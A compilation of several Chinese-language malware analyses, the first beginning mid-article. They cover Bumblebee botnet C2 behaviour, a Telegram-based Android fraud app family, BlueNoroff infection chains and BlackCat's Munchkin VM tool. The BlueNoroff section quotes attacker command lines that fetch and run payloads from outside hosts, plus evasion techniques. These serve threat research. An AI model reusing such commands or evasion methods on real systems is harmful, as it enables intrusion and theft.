殭屍網絡行為分析直到7月初，我們一直觀察到命令和控制服務程序的一個非常奇怪的行為。一旦為受感染的受害者生成client_id並將其發送到命令和控制服務程序，該命令和控制服務程序將停止接受來自同一受害者外部IP的其他不同的client_id代碼。這意味著，如果一個組織中使用同一公共IP訪問internet的多台計算機受到感染，C2服務程序將只接受第一台受感染的計算機。但是幾個星期前，這個功能突然被關閉，大大增加了與受感染受害者建立的連接的數量（可能表明該惡意軟件的測試階段已經結束）。

這種行為促使研究人員特別關注Bumblebee在不同執行環境中的行為。值得注意的是，儘管在每個示例中都硬編碼了一個名為group_name的字段，但在每個請求中都會將該值發送到命令和控制服務程序。此外，上述“每個IP地址一個client_id”策略似乎適用於不同的group_name，但不適用於不同的RC4加密密鑰，這似乎意味著同一殭屍網絡使用多個group_name可能標記不同的活動或不同的受害者集。因此，與按group_name分組相比，按加密密鑰分組活動似乎是一種更前後一致的方法。

研究人員觀察到幾個具有相同RC4密鑰和不同group_name的示例在非常接近的時間範圍內行為相同並實現了相同的攻擊，而使用不同RC4密鑰的示例表現出完全不同的行為，這一事實進一步支持了這一假設。

5.webp.jpg

不同Bumblebee示例根據其RC4密鑰釋放了相同的有效負載

事實上，不同的示例使用相同的RC4密鑰接觸的不同IP地址的命令和控制服務程序會返回相同的有效負載，並為受害者阻止相同的client_id，這一事實也表明，這些IP地址實際上只是一個主命令和控制服務程序的前端，所有Bumblebee連接都中繼到該服務程序。

這些殭屍網絡行為的另一個有趣的特點是，Bumblebee釋放到受害者機程序中的工具集是如何根據目標的類型而有所不同。為了部署攻擊，在bumblebee支持的5個命令中，有3個命令導致從C2服務程序下載代碼並執行：

DEX：將可執行文件部署到磁盤並運行它。

DIJ：將庫注入進程並執行它。

SHI：向進程中註入並執行shellcode。

作為對各種Bumblebee殭屍網絡持續監控的一部分，研究人員一直在監控基於網絡類型或地理位置等因素的行為差異。雖然受害者的地理位置似乎對惡意軟件的行為沒有任何影響，但研究人員觀察到，Bumblebee在感染了屬於域(共享同一個Active Directory服務程序的邏輯網絡組)的機程序後，與連接到工作組(微軟術語，表示點對點局域網)的從公司網絡中隔離出來的機程序之間存在非常明顯的差異。

如果受害者連接到WORKGROUP，在大多數示例中，它會收到DEX命令(下載和執行)，這將導致它從磁盤上釋放並運行一個文件。這些有效負載通常是常見的盜竊程序，如Vidar Stealer，或銀行木馬：

6.webp.jpg

Bumblebee C2響應，其中包含一個Base64編碼的有效負載的DEX命令

另一方面，如果受害者連接到AD域，它通常會收到DIJ(下載和注入)或SHI(下載shellcode和注入)命令。

7.webp.jpg

帶有DIJ命令的Bumblebee C2響應，其中包含Base64編碼的有效負載

在這些示例中，產生的攻擊來自更先進的後開發框架，如cobalt tstrike、silver或Meterpreter。

在這些示例中，還可以觀察到，無論命令和控制服務程序的IP和group_name字段如何，使用相同RC4密鑰的示例都會使用相同的團隊服務程序釋放相同的Cobalt Strike信標，這已被證明是將不同示例作為同一殭屍網絡的一部分相互關聯的非常有用的方法。

由Bumblebee釋放的有效負載的最後一個有趣特性是，在許多示例中，使用DEX命令下載的二進製文件和使用DIJ命令下載的那些二進製文件都是使用同一個Bumblebee打包程序打包的。

總結通過分析Bumblebee操作人員使用的命令和控制服務程序的行為，研究人員觀察到他們如何調整其感染鏈的行為方式，有時這種方式會大大增加活動受害者的數量和C2流量

目前，即使在不同的Bumblebee殭屍網絡中，在部署第二階段有效負載之前的行為也非常相似，但從選擇第二階段的有效負載開始的進一步行為會根據所使用的RC4密鑰而變得不同。除了使用RC4密鑰本身之外，此行為還可以將活動分組到不同的集群中。

與其他使用第三方打包程序和現成的繞過防病毒工具的攻擊不同，Bumblebee對攻擊本身和部署在受害者電腦上的一些示例使用自己的打包程序，就像其他高級惡意軟件家族(如Trickbot)一樣。雖然這讓Bumblebee操作員在改變行為和添加功能方面有了更大的靈活性，但使用獨特的自定義工具也可以作為一種快速識別Bumblebee野外活動的方法。

HireHackking

1.jpg

概述經監測，我們截獲了一起與未知家族有關的欺詐性Android 應用傳播事件。詳細調查發現，該家族主要使用開源的Telegram Android 源代碼作為其核心功能模板。通過各種策略，包括但不限於刷單、投資推廣和色情聊天，該家族誘導用戶下載並安裝其應用，從而執行欺詐操作。進一步網絡環境探測結果顯示，存在多款與該家族高度相似的活躍應用，進一步證實了這些應用確實屬於同一個欺詐家族。這個家族不僅具有高度的欺詐性和一致性，還擁有一個完整的業務供應鏈。基於上述特點，我們決定為這一欺詐家族命名為“BOOMSLANG（樹蚺）”。

技術分析2_副本1.jpg

從我們獲取的家族樣本中進行溯源分析後，發現該家族最早始於2022 年9 月進行傳播。由於當時疫情等外部因素的影響，該家族在2022 年9 月至2023 年3 月期間處於欺詐傳播的初級階段。然而，隨著社會狀況逐漸恢復，該家族開始大規模傳播，並推出了多個不同業務類型的版本。值得注意的是，為了適應反欺詐措施，該家族在2023 年7 月首次進行了變種，引入了“Domain Over HTTPS（DoH）”技術。隨後，在2023 年9 月，家族樣本再次發生變種，增加了對現有自動化App 安全檢測手段的抵抗能力，具體採用了NPManager 自帶的StringFrog 混淆技術，以規避基於字符串提取的安全檢測。

DoH（DNS over HTTPS）是一種安全協議，用於通過HTTPS 加密的連接進行DNS 解析請求和響應。其主要目的是增加隱私和安全性，防止DNS 請求被竊聽或篡改。

接下來，我們將對該家族的原始版本以及引入DoH 技術的版本進行深入分析。

樣本概況樣本標識马云惹不起马云MD5 Hash:0a731ace7a01349d8c103ad5dc7fc230

功能與行為1.登錄界面：樣本啟動後展示的是一個登錄界面，該界面要求輸入邀請碼以進行登錄。

2.聊天界面：登錄成功後，用戶將進入一個聊天界面。

3.惡意活動：該樣本主要通過聊天功能進行詐騙或其他類型的惡意行為。

3.png

分析細節樣本基本面分析4.jpg

5.png

1.權限分析：使用Incinerator 工具打開樣本後，從生成的Report 信息中可以觀察到，該樣本請求了多個高風險的權限。

8.jpg

7.jpg

6.jpg

2.動態檢測結果：

马云惹不起马云包名與子目錄問題：動態檢測結果顯示，在im.lpfupkaehn.messenger包名下的tgnet子目錄中，NetworkConfig.java文件存在明顯的問題。

接下來，我們將詳細分析im.lpfupkaehn.messenger包名的具體表現和潛在風險。

代碼相似度文件與目錄結構马云惹不起马云tgnet 子目錄：在im.lpfupkaehn.messenger的相應目錄下，存在一個明確的tgnet子目錄。

源碼比對马云惹不起马云GitHub 搜索結果：利用該目錄中的代碼進行GitHub 搜索後，發現這部分代碼與Telegram Android 源碼高度相似。

页面 1 (1).png

代碼相似性比較马云惹不起马云im.lpfupkaehn.messenger與org.telegram.messenger

11.png

合并2.png

多個類文件，如AccountInstance等，在排除反編譯因素後，顯示為100% 相同。

代碼差異分析主要新增部分在該樣本中，基於Telegram Android 源碼，主要有三個顯著的新增部分：

1.依賴庫：

马云惹不起马云位置：主要集中在com目錄下。

马云惹不起马云功能與調用：這些庫基本上都能通過搜索找到其調用處，主要用於處理一些較小的功能。

马云惹不起马云示例：com.alibaba.fastjson庫主要用於處理更新用戶信息的協議。

2.UI 目錄差異：

马云惹不起马云對比：im.lpfupkaehn.ui目錄與org.telegram.ui目錄相比，前者多出幾個目錄。

马云惹不起马云推測：這些新增目錄可能是為了滿足定制UI 的需求而加入的。

合并3.png

3.tgnet 目錄差異：

马云惹不起马云對比：在im.lpfupkaehn.tgnet和org.telegram.tgnet目錄之間進行比較，發現前者多出幾個文件。

马云惹不起马云推測：這些新增文件可能是用於實現特定的網絡通信或功能。

合并4.png

詳細新增類文件分析在該家族樣本中，特別值得注意的是新增了以下類文件：

基礎網絡與文件操作類：马云惹不起马云FCTokenRequestCallback： 可能與Token 請求有關。

马云惹不起马云FileLoadOperation： 文件加載操作。

马云惹不起马云FileLoadOperationDelegate： 文件加載操作的代理。

马云惹不起马云NetBean： 網絡配置Bean。

马云惹不起马云NetworkConfig： 網絡配置。

马云惹不起马云ParamsUtil： 參數工具。

Telegram 後台通訊擴展（TL 系列）：马云惹不起马云TLApiModel： API 模型。

马云惹不起马云TLRPCZ： 可能與RPC 通訊有關。

马云惹不起马云TLRPCBackup： 備份相關。

马云惹不起马云TLRPCBasic： 基礎RPC 功能。

马云惹不起马云TLRPCCall： 通話功能。

马云惹不起马云TLRPCCdn： CDN 相關。

马云惹不起马云TLRPCChats： 聊天相關。

马云惹不起马云TLRPCContacts： 聯繫人相關。

马云惹不起马云TLRPCFriendsHub： 好友中心。

马云惹不起马云TLRPCHotChannel： 熱門頻道。

马云惹不起马云TLRPCLogin： 登錄相關。

马云惹不起马云TLRPCRedpacket： 紅包功能。

马云惹不起马云TLRPCWallet： 錢包功能。

這些新增的類文件主要涉及到網絡操作、文件處理以及與Telegram 後台進行通訊的多個方面。這進一步突顯了該家族樣本相較於原始Telegram 代碼的定制和拓展。

網絡行為分析報告主要焦點：NetworkConfig.java基於自動化分析的結果，NetworkConfig.java文件代碼中存在明顯的問題，因此本次分析將重點關注該文件。

網絡配置更新機制18.png

環境區分：代碼中區分了線上環境和內網環境。只有標識為1002 的是線上環境，需要更新網絡配置。

19.jpg

這裡有兩個關鍵函數initRemoteConnInfos和selecteRemoteConnInfo

20.png

關鍵函數分析：initRemoteConnInfos： 主要負責從配置接口https://*************.***-**********.********.***/************.***獲取目標IP 和端口信息。

21.jpg

selecteRemoteConnInfo:使用阿里遊戲盾將目標IP 和端口轉換為代理IP 和端口，達到隱藏實際IP 和端口的目的。

22.png

23.png

阿里遊戲盾使用邏輯功能介紹：阿里遊戲盾提供了一個免疫DDoS/CC 攻擊的彈性安全網絡。具體來說，它根據提供的目標IP 和端口生成一個動態變化的代理IP 和端口。

挑戰與影響：對於網絡行為分析和惡意程序網絡請求攔截來說，阿里遊戲盾的彈性安全網絡構成了一個嚴重的挑戰。因為代理IP 和端口可以不斷變化，這極大地增加了網絡追踪和攔截的難度。

該樣本利用了複雜的網絡配置和第三方安全服務（阿里遊戲盾）來隱藏其實際網絡行為，從而增加分析和追踪的難度。這些特點進一步證明了該惡意樣本的高度專業性和隱蔽性。 YunCeng.getProxyTcpByDomain的反編譯代碼如下：

24.png

25.png

根據阿里遊戲盾官方網站上較舊版本的文檔，getProxyTcpByDomain函數的前四個參數表現如下：

26_副本.png

函數的後兩個參數則用於返回與輸入目標IP 和端口相對應的代理IP 和端口。在對上述代碼進行進一步分析後，我們發現返回的代理數據最終被傳遞給了ConnectsManager。

27.png

28.png

我們注意到這是一個native函數。在常規情況下，我們需要逆向分析。 so文件以獲取相應的代碼。然而，由於之前我們已經提到這個樣本代碼與Telegram Android 有很高的相似性，我們決定直接查閱Telegram Android 的源代碼來進行分析。

29.png

30.png

在這個步驟中，返回的IP 地址和端口號被設置給了ConnectManager 的datacenter 對象，並隨後重新發起了握手過程以建立新的連接。這一操作實現了樣本與雲端網絡通訊的服務器切換。至此，惡意樣本已經成功地通過新的IP 和端口與遠程服務器建立了新的通信通道。

攔截方法：經過詳細分析，我們完成了對樣本主要網絡請求逃逸攔截行為的審查。該樣本巧妙地利用了防DDoS 服務，通過不斷更換請求的IP 地址和端口，有效地規避了傳統的基於固定IP 請求攔截的防護手段。

要全面阻斷這一樣本的網絡請求，需要通過靜態和動態分析相結合的方式，找出樣本是如何利用阿里遊戲盾服務的，並據此攔截相關網絡通信途徑。具體攔截策略可集中在以下三個方面：

1.攔截樣本通過請求阿里遊戲盾來獲取目標IP 地址和端口的網絡請求。

31.jpg

2.如果第一種攔截策略未能成功執行，那麼還需要針對樣本中預設的默認IP 和端口進行攔截。具體來說，應該攔截所有指向****.**.********.***的網絡請求。

33.jpg

32.jpg

3.在灰度測試階段，如果前兩種攔截策略都未能成功，那麼應關注樣本中預設的第三個默認IP 地址，即**.***.***.***。所有指向這一IP 的網絡請求也應被攔截。

34.jpg

這些網絡請求被巧妙地深藏在代碼中，需要綜合應用動態和靜態分析方法才能準確地識別出它們，這無疑給安全對抗工作增加了額外的挑戰和工作量。

家族變種分析在持續追踪此類惡意APP 過程中，我們發現了一種新的變種，其MD5 哈希值為61eea96bae6e53b6806d974cf35877df。這個新樣本做出了一個顯著的變化：它不再依賴於阿里遊戲盾，而是轉向使用了七牛雲的DoH（DNS over HTTPS）服務。具體的使用方式如下：

35.png

36.jpg

在這個新的變種中，攻擊者將HOST 中的地址配置為七牛雲的DnsManager 的dnsServer。然後，該DnsManager 負責進行DNS 查詢。這種改變不僅表明攻擊者正在逐漸熟悉和利用更高級的網絡服務，而且也增加了分析和攔截其行為的複雜性。

37.jpg

在這種情況下，樣本通過其自己控制的dnsserver 來動態地更換IP 地址。這種設置使得攻擊者能夠在後端使用類似於阿里遊戲盾的工具，隨機返回不同的代理IP 地址，從而實現真實IP 地址的隱藏。如果DNS 查詢失敗，樣本會回退到預設的IP 和端口，進一步增加了對抗分析的複雜性。這種多層次的網絡行為策略不僅增加了分析工作的難度，也為有效攔截創建了額外的挑戰。

HireHackking

截图.jpgBlueNoroff據說是一個朝鮮黑客組織，其攻擊主要充滿經濟動機。最近有消息報導，它創建70多個虛假域名並冒充銀行和風險投資公司後竊取了數百萬美元的加密貨幣。根據調查，大多數域名模仿日本風險投資公司，表明BlueNoroff對該國用戶和公司數據的濃厚興趣。

今年10月，我們觀察到其武器庫中採用了新的惡意軟件。該組織通常利用Word文檔，並使用快捷方式進行初始攻擊。然而，它最近開始採用新的惡意軟件傳播方法。

該組織採用的第一個新方法旨在規避網絡標記(MOTW)標誌，即當用戶試圖打開從互聯網下載的文件時，Windows會顯示警告信息的安全措施。為此，使用了光盤映像（.iso擴展名）和虛擬硬盤（.vhd擴展名）文件格式。這是當今逃避MOTW的常用策略，BlueNoroff也採用了這一策略。

此外，該組織還測試了不同的文件類型，以改進惡意軟件的傳播方法。我們觀察到一個新的Visual Basic腳本，一個以前未見過的Windows批處理文件和一個Windows可執行文件。 BlueNoroff幕後的攻擊者似乎正在擴展或嘗試新的文件類型，以有效地傳播他們的惡意軟件。

在研究了他們使用的基礎設施後，我們發現這個組織使用了70多個域名，這意味著他們直到最近都非常活躍。此外，他們還創建了大量看起來像風險投資和銀行域名的假域名。大多數域名模仿日本風險投資公司，表明該組織對日本金融實體有著廣泛的興趣。

BlueNoroff組織引入了新的文件類型來規避網絡標記(MOTW)安全措施；

BleuNoroff組織擴展了文件類型並調整了感染方法;

BlueNoroff創建了大量假冒風險投資公司和銀行的假域名。

背景

在2022年9月底，我們在追踪分析中觀察到新的BlueNoroff惡意軟件。經過仔細的調查，我們確認攻擊者採用了新的技術來傳達最終的負載。攻擊者利用了幾個腳本，包括Visual Basic腳本和Windows批處理腳本。他們還開始使用磁盤鏡像文件格式.iso和.vhd來傳播他們的惡意軟件。對於中間感染，攻擊者引入了一個下載程序來獲取和生成下一階段的有效負載。儘管最初的攻擊方法在這次活動中有很大不同，但我們之前分析的最終有效負載沒有發生重大變化。

1.png

新型感染鏈

持久攻擊的初始感染

根據追踪分析，我們觀察到阿聯酋的一名受害者受到了惡意Word文檔的攻擊。受害人於2022年9月2日收到了一份名為“Shamjit Client Details Form.doc”的文件。不幸的是，我們無法獲取該文檔，但它是從以下路徑執行的:

2.png

從文件路徑來看，我們可以假設受害者是銷售部門負責簽署合同的員工

啟動後，惡意文檔連接到遠程服務器並下載有效負載。在這種特殊情況下，可執行文件ieinstal.exe用於繞過UAC。

遠程URL:https://bankofamerica.us[.]org/lsizTZCslJm/W+Ltv_Pa/qUi+KSaD/_rzNkkGuW6/cQHgsE=

已創建負載路徑：%Profile%\cr.dat

衍生命令：cmd.exe%Profile%\cr.dat 5pKwgIV5otiKb6JrNddaVJOaLjMkj4zED238vIU=

初次感染後，我們觀察到攻擊者進行了幾次鍵盤操作。通過植入的後門，他們試圖對受害者進行指紋識別，並安裝具有高級權限的額外惡意軟件。在感染後，攻擊者執行了幾個Windows命令來收集基本的系統信息。 18小時後，他們又回來安裝了具有更高權限的惡意軟件。

3.png

後利用當惡意Word文檔打開時，它會從遠程服務器獲取下一個有效負載：

下載URL:http://avid.lno-prima[.]lol/VcIf1hLJopY/shU_pJgW2Y/KvSuUJYGoa/sX+Xk4Go/gGhI=

提取的有效負載應保存在%Profile%\update.dll中。最終，提取的文件由以下命令生成：

命令#1:rundll32.exe%Profile%\update.dll，#1 5pOygIlrsNaAYqx8JNZSTouZNjo+j5XEFHzxqIIqpQ==

命令#2:rundll32.exe%Profile%\update.dll，#1 5oGygYVhos+IaqBlNdFaVJSfMiwhh4LCDn4=

BlueNoroff組織通常使用的另一種方法是帶有快捷方式文件的ZIP存檔。我們最近發現的存檔文件包含一個受密碼保護的誘餌文檔和一個名為“Password.txt.lnk”的快捷方式文件。這是經典的BlueNoroff策略，說服受害者執行惡意快捷方式文件以獲取誘餌文檔的密碼。最新發現的檔案文件(MD5 1e3df8ee796fc8a13731c6de1aed0818)有一個日文文件名，新しいボ，ナススケジュ，ル.zip(日文“新獎金計劃”)，表明他們對日本目標感興趣。

與前一個快捷方式示例的主要區別在於，它獲取了額外的腳本負載（Visual Basic腳本或HTML應用程序），此外，此時還採用了另一種獲取和執行下一階段有效負載的方法。受害者雙擊快捷方式文件時執行了以下命令：

4.png

為了逃避檢測，攻擊者使用了Living Off the Land Binaries (LOLBins)

DeviceCredentialDeployment執行是一個眾所周知的LOLBin，用於隱藏命令的窗口。攻擊者還濫用msiexe.exe文件，以靜默方式啟動獲取的Windows安裝程序文件。

方法1：規避MOTW標誌的技巧我們觀察到攻擊者檢查了不同的文件類型來傳遞他們的惡意軟件。最近，許多攻擊者採用圖像文件來避免MOTW (web標記)。簡而言之，MOTW是微軟引入的一種緩解技術。 NTFS文件系統標記從互聯網下載的文件，Windows以安全的方式處理該文件。例如，當從互聯網獲取Microsoft Office文件時，操作系統在受保護視圖中打開它，這限制了嵌入宏的執行。為了避免這種緩解技術，越來越多的攻擊者開始濫用ISO文件類型。 BlueNoroff組織很可能用ISO鏡像文件來傳播他們的惡意軟件。雖然它仍在開發中，但我們將此示例作為預警。此ISO圖像文件包含一個PowerPoint幻燈片放映和一個Visual Basic腳本。

5.png

ISO鏡像的嵌入式文件

Microsoft PowerPoint文件包含鏈接。當用戶點擊鏈接時，它將執行1.vbs文件。當我們檢查VBS文件時，它只生成了一個“ok”消息，這表明BlueNoroff仍在嘗試這種方法。

6.png

根據其他發現，我們從VirusTotal中發現了一個野外示例(MD5 a17e9fc78706431ffc8b3085380fe29f)。在分析時，此.vhd示例未被任何反病毒軟件檢測到。虛擬磁盤文件包括偽造的PDF文件、Windows可執行文件和加密的Dump.bin文件。 PDF和可執行文件在文件擴展名前有許多空格，以隱藏它並減少懷疑。

7.png

VHD文件裡面的一個文件

Job_Description[spaces].exe文件(MD5 931d0969654af3f77fc1dab9e2bd66b1)是加載下一階段有效負載的加載器。在啟動時，它將Dump.bin文件複製到%Templates%\war[current time][random value].bin (i.e. war166812964324445.bin). Dump.bin中PE頭被修改。惡意軟件讀取Dump.bin的第一個字節，即該文件中的0xAF，並使用該密鑰解碼0x3E8字節。解密後的數據是PE文件的頭文件，將恢復後的頭文件覆蓋到原文件中。最後，它通過生成普通的第一個導出函數來加載解密的DLL文件。

生成的下載程序在文件的末尾包含一個加密的配置。惡意軟件首先從文件末尾獲取配置數據的總大小和有效負載URL的長度。它們分別位於文件末尾的4字節和8字節處。惡意軟件使用嵌入的64字節密鑰，使用RC4算法解密配置數據。

RC4秘鑰：46 61 44 6D 38 43 74 42 48 37 57 36 36 30 77 6C 62 74 70 57 67 34 6A 79 4C 46 62 67 52 33 49 76 52 77 36 45 64 46 38 49 47 36 36 37 64 30 54 45 69 6D 7A 54 69 5A 36 61 42 74 65 69 50 33。

恢復URL: hxxps://docs.azure-protection[.]cloud/EMPxSKTgrr3/2CKnoSNLFF/0d6rQrBEMv/gGFroIw5_m/n9hLXkEOy3/wyQ%3D%3D

8.png

配置結構

然而，在另一個下載程序的示例中，有效負載URL是使用命令行參數傳播的。另外，一些其他下載程序(MD5 f766f97eb213d81bf15c02d4681c50a4)具有檢查工作環境的功能。如果物理內存小於2147,483,648字節，惡意軟件將終止執行。

9.png

下載程序感染流

此下載程序檢查以下防病毒供應商的名稱：Sophos、Kaspersky、Avast、Avira、Bitdefender、TrendMicro和Windows Defender。如果安裝了TrendMicro、BitDefender或Windows Defender產品，則惡意軟件會執行一個經典的解鎖DLL技巧，以從系統庫中刪除用戶模式掛鉤。這種規避技術會用新加載的ntdll庫覆蓋預加載的ntdll庫的.text部分，以便使用原始API地址恢復掛接的API地址。使用此技巧，惡意軟件可以禁用EDR/AV產品的功能。接下來，惡意軟件創建一個互斥鎖以避免重複執行。

互斥名稱：da9f0e7dc6c52044fa29bea5337b4792b8b873373ba99ad816d5c9f5f275f03f

接下來，惡意軟件在同一目錄中打開一個PDF誘餌文檔。這份假文件偽裝成一家日本跨國銀行提供的工作邀請。

如果受害者的電腦上安裝了Windows Defender或Bitdefender Antivirus，惡意軟件就會執行以下命令:

Windows Defender: cmd /c timeout /t 10 Del /f /q \”[current file name]\” attrib -s -h \”[PDF decoy file]\” rundll32 \”[current DLL file path]\” #1；

Bitdefender: cmd /c timeout /t 10 rundll32 \”[current DLL file path]\” #1；

這種惡意軟件的主要目標是獲取下一階段的有效負載。為此，惡意軟件使用cURL庫，根據安裝的防病毒軟件組合cURL命令。

Avira or Avast installed: curl -A cur1-agent -L [payload URL(| -x proxy URL)] -s -d da；

Other cases: curl -A cur1-agent -L [payload URL(| -x proxy URL)] -s -d dl；

注意，用戶代理名稱為“cur1-agent”，如果受害者安裝了Avira或Avast，惡意軟件會發送“da”POST數據。否則，惡意軟件將發送“dl”POST數據。如果cURL命令獲取的數據包含“

如果安裝了Avira或Avast，惡意軟件將解密的有效負載保存到“%TEMPLATES%\marcoor.dll”，並使用帶有有效負載URL的rundll32.exe命令生成它。

command: exe %TEMPLATES%\marcoor.dll #1 [payload URL]

否則，惡意軟件不會將有效負載寫入文件，而是將獲取的有效負載注入explorer.exe進程。所獲取的有效負載是一個DLL類型的可執行文件，其導出函數由“有效負載URL”派生。

不幸的是，到目前為止，我們還無法獲得精確的感染鏈。然而，從分析數據中，我們可以確認受害者最終是被後門類型的惡意軟件攻擊的。基於惡意軟件的靜態信息和部分內部代碼，我們評估最終的有效負載仍然與我們在上一篇文章中描述的Persistence Backdoor#2非常相似。

方法2：腳本和小說下載程序此外，我們還觀察到可疑批處理文件的下載和啟動。攻擊者利用了不同的lolbin。惡意軟件的執行是使用system目錄下合法的script, SyncAppvPublishingServer.vbs, 完成的。此腳本用於通過Windows計劃任務執行PowerShell腳本。

10.png

我們還在分析中觀察到了該批處理文件的上下文。批處理文件名為“What is Blockchain.bat”。顧名思義，該組織仍然以區塊鏈行業為目標。為此，我們提取了批處理文件的scriptlet。

11.png

Inproc.exe是合法的mshta.exe文件(MD5 0b4340ed812dc82ce636c00fa5c9bef2)， rwinsta.exe是合法的rundll32.exe文件(MD5 ef3179d498793bf4234f708d3be28633)。 Blockchain.pdf文件是mshta.exe進程生成的惡意HTML應用程序文件。雖然沒有HTA腳本(Blockchain.pdf)，但我們可以基於假設腳本的功能顯示誘餌文檔並獲取下一階段的有效負載。

12.png

此外，我們觀察到該組織在此時引入了一個新的Windows可執行類型的下載程序。這個惡意軟件(MD5 087407551649376d90d1743bac75aac8)在獲取遠程有效負載並執行時生成一個假密碼文件。在執行時，它創建一個假文件(wae.txt)來顯示由字符串“password”組成的密碼，並從嵌入的URL中獲取有效負載並加載它。該方案通過notepad.exe顯示密碼，這是BlueNoroff組織為了避免引起受害者的懷疑而慣用的伎倆。通常，密碼包含打開所提供的加密誘餌文檔所需的密碼。

13.png

含有假密碼文件的下載

攻擊者可能將上述Windows可執行文件以壓縮文件格式或磁盤映像文件格式與加密的誘餌文檔一起傳播。

基礎設施

在進行這項研究時，我們發現了攻擊者使用的幾個C2服務器。與往常一樣，所有服務器都由VPS供應商託管，其中幾個服務器被解析到相同的IP地址。域名註冊可以追溯到2021年早些時候。

14.png

攻擊者通常使用假域名，如雲託管服務來託管惡意文件或有效負載。他們還創建了偽裝成金融業合法公司和投資公司的假域名。這些域名，包括旋轉域名（pivoted domain），模仿風險資本名稱或大型銀行名稱。大多數公司都是日本公司，這表明這位演員對日本市場非常感興趣。

15.png

受害者分析正如我們在“持久攻擊的初始感染”一節中所描述的那樣，我們發現阿聯酋的一個受害者(可能是一家家庭融資公司)受到了經典的BlueNoroff組織的攻擊。這個以經濟為動機的攻擊組織最近一直在攻擊各種與加密貨幣相關的業務，以及其他金融公司。

總結根據最近的一份報告，BlueNoroff組織利用他們的網絡攻擊能力竊取了價值數百萬美元的加密貨幣。這表明這個組織有很強的經濟動機，正如我們從最新的發現中看到的，這個臭名昭著的攻擊者已經對他們的惡意軟件進行了迭代。這也表明，在不久的將來，它將發起更大的攻擊。

HireHackking

Ransomware-r3d2.png

BlackCat運營商最近宣布對他們的工具進行更新，包括一個名為Munchkin的實用程序，它允許攻擊者將BlackCat有效負載傳播到遠程設備和受害者組織網絡上的共享。在過去的兩年中，作為勒索軟件即服務(RaaS)商業模式的一部分，BlackCat勒索軟件運營商一直在不斷發展和更新他們的工具。

在最新發現的樣本中，Unit 42的研究人員獲得了一個獨特的Munchkin樣本，因為它加載在自定義的Alpine虛擬機(VM)中。這種利用自定義虛擬機來部署惡意軟件的新策略在最近幾個月得到了越來越多的應用，允許勒索軟件攻擊者使用虛擬機來繞過部署惡意軟件有效負載的安全解決方案。

本文詳細介紹了這個新實用程序的攻擊進程，並進一步闡明了BlackCat攻擊者使用的持續策略。

BlackCat概述BlackCat勒索軟件於2021年11月首次被曝光。這種攻擊因其惡意軟件的複雜性以及使用Rust編程語言等獨特方法而臭名昭著。

與其他勒索軟件類似，BlackCat採用了RaaS商業模式，這種模式允許其他機構有償利用他們的工具，使用機構會獲得大約80-90%的贖金，其餘的則交給運營商。

“BlackCat”組織及其使用機構歷來把目標鎖定在美國境內。然而，隨著時間的推移以及受歡迎程度，攻擊範圍正在逐漸擴大，最近，人們發現BlackCat的目標是全球眾多行業及其垂直行業的受害者。

BlackCat工具集多年來一直在不斷發展。

原始版本僅提供了一個嵌入式JSON配置，並沒有應用混淆或加密。

隨著時間的推移，操作人員更新了惡意軟件家族，以混淆這種底層配置。他們還需要一個唯一的命令行參數來執行惡意軟件。在此過程中，BlackCat阻止了安全人員在此命令行參數不可用的情況下獲得底層有效進行研究。

惡意軟件家族一直在不斷發展，攻擊者採用了更多的功能和混淆機制。最近幾個月，BlackCat發布了一個名為“Munchkin”的新工具。

該工具提供了運行Sphynx(最新的BlackCat變體)的基於linux的操作系統。攻擊者可以使用此實用程序在遠程設備上運行BlackCat，或將其部署到加密遠程服務器消息塊(SMB)或通用互聯網文件共享(CIFS)。

1.png

Munchkin進程示意圖

在實際運行中，使用虛擬機運行惡意軟件是一種日益增長的趨勢。據報導，其他勒索軟件組織也利用了這種新策略。

這種方法的好處包括繞過主機操作系統上設置的任何安全控製或保護，例如防病毒軟件。由於這些解決方案通常在嵌入式虛擬化操作系統中沒有自省功能，惡意軟件將經常繞過現有的任何檢查。

在最近的調查中，Unit 42的研究人員能夠獲得這個VM實用程序的副本。因此，我們可以深入了解它是如何工作的。

攻擊過程Munchkin實用程序以ISO文件的形式提供，在VirtualBox虛擬化產品的新安裝樣本中加載。這個ISO文件代表了Alpine操作系統的自定義實現，攻擊者可能會選擇它，因為它佔用空間小。操作系統啟動後，會執行如下命令:

2.png

在此過程中，惡意軟件最初將虛擬機的根密碼更改為攻擊者選擇的密碼。它隨後通過內置的tmux實用程序生成一個新的終端會話，該實用程序用於執行名為controller的惡意軟件二進製文件。惡意軟件完成執行後，會關閉虛擬機。

控制器惡意軟件與其他相關文件一起託管在/app目錄中。此外，虛擬機操作系統中還包含其他相關且值得注意的文件。

3.1.png

3.2.png

虛擬機操作系統中包含的文件路徑及有關描述

除了上面提到的文件，大量的Python腳本直接存在於/usr/bin中，BlackCat操作符可以在VM的後續更新中使用這些腳本。

4.1.png

4.2.png

4.3.png

4.4.png

4.5.png

4.6.png

攻擊者可以使用上面的許多Python腳本進行橫向移動、密碼轉儲和在受害者網絡上進一步執行惡意軟件。

控制器惡意軟件是用Rust編程語言編寫的，其方式與BlackCat惡意軟件家族非常相似。在執行時，控制器最初將使用唯一的單字節異或操作解密大量字符串。

5.png

運行時的字符串解密

在字符串被解密後，攻擊者將執行基本檢查，以確保預期的配置和有效負載文件駐留在/app目錄中。然後，該攻擊將反序列化並解析/app/config文件，如果這些文件不存在，或者如果它們無法被解析，惡意軟件將自行退出並顯示一條錯誤消息。

/app/config文件包含大量信息，包括控制器惡意軟件樣本隨後使用的以下信息：

訪問令牌；

任務標識符；

受害者憑據（包括用戶名、密碼和域）；

BlackCat受害者URL；

阻止列表的文件類型和路徑；

要加密的目標主機和共享；

解析配置後，控制器創建並掛載/payloads/目錄，用於託管隨後創建的BlackCat樣本。控制器使用前面提到的/app/payload作為模板來創建自定義的BlackCat樣本。在模板文件中，控制器在修改該文件時查找並使用特定的標記。

6.png

基於模板和配置創建新的BlackCat示例

所創建的文件基於所提供的配置。但是，它們的命名如下，並帶有增量值:

/payloads/0

/payloads/1創建這些有效負載後，惡意軟件繼續遍歷所提供的配置，目的是感染指定的任何SMB/CIFS驅動器。這些嘗試在寫入STDOUT的各種輸出中進行了概述，其示例如下所示。

注：實際的IP地址和共享名稱已在下面的輸出中進行了編輯。

7.png

惡意軟件完全執行後，虛擬機將關閉電源，不再執行進一步的操作。

研究人員發現以下消息嵌入到惡意軟件樣本中，但未使用，它可能在開發的某個階段被包括在內，但後來又被取消。

8.png

這條消息似乎是BlackCat的開發者給他們的使用組織的一條消息，敦促他們從不安全的環境中刪除這個文件。看來使用組織並沒有聽從這一建議。

